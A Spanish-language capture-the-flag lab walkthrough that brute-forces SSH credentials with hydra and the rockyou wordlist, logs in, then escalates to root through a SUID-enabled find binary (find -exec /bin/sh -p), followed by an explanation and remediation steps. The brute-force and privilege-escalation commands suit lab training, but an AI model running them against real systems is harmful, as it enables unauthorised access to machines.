Objetivo
Obtener acceso root al sistema y leer el contenido de /root/flag.txt.
El punto de entrada es un servicio SSH con credenciales débiles.
Solución paso a paso
Escaneamos el objetivo con nmap para identificar servicios activos:
nmap -sV -p 2222 <LAB_IP>
# Output esperado:
PORT STATE SERVICE VERSION
2222/tcp open ssh OpenSSH 7.9p1 Debian
Vemos el puerto 2222 (SSH) abierto.
El puerto 2222 acepta autenticación por contraseña. Lanzamos hydra contra el usuario ghost:
hydra -l ghost -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
Credenciales encontradas:
[2222][ssh] host: <LAB_IP> login: ghost password: ghost123
Nos conectamos por SSH con las credenciales encontradas:
ssh ghost@<LAB_IP> -p 2222
# Password: ghost123
172.17.0.x), SSH mostrará el error WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED. Elimina la clave antigua y vuelve a conectar:
ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '[<LAB_IP>]:2222' ssh ghost@<LAB_IP> -p 2222
Ya tenemos una shell con usuario no privilegiado. Verificamos:
whoami # ghost id # uid=1000(ghost) gid=1000(ghost) groups=1000(ghost)
Buscamos binarios con el bit SUID activado:
find / -perm -4000 -type f 2>/dev/null
Entre los resultados veremos algo inusual:
/usr/bin/find ← SUID activo
/usr/bin/passwd
/usr/bin/newgrp
/bin/su
...
El binario /usr/bin/find tiene el bit SUID activo, lo que significa que se ejecuta como root independientemente del usuario que lo invoque.
Consultamos GTFOBins — find SUID para ver cómo explotar este binario.
El truco es usar el parámetro -exec para ejecutar comandos como root:
/usr/bin/find . -exec /bin/sh -p \; -quit
El flag -p indica a sh que no descarte los privilegios del SUID. Ahora tenemos una shell como root:
whoami
root
cat /root/flag.txt
¿Por qué funciona?
Cuando un binario tiene el bit SUID activo (-rwsr-xr-x), el sistema operativo lo ejecuta con los permisos del propietario del fichero (root en este caso) en lugar del usuario que lo lanza.
find permite ejecutar comandos arbitrarios con -exec. Esto, combinado con el SUID, permite ejecución arbitraria como root. Es un vector de escalada de privilegios muy común en entornos mal configurados.
Remediación
# Quitar el bit SUID de find chmod u-s /usr/bin/find # Verificar que no quedan binarios peligrosos con SUID find / -perm -4000 -type f 2>/dev/null
Regla general: ningún binario estándar del sistema debería tener SUID salvo los estrictamente necesarios (passwd, sudo, ping...).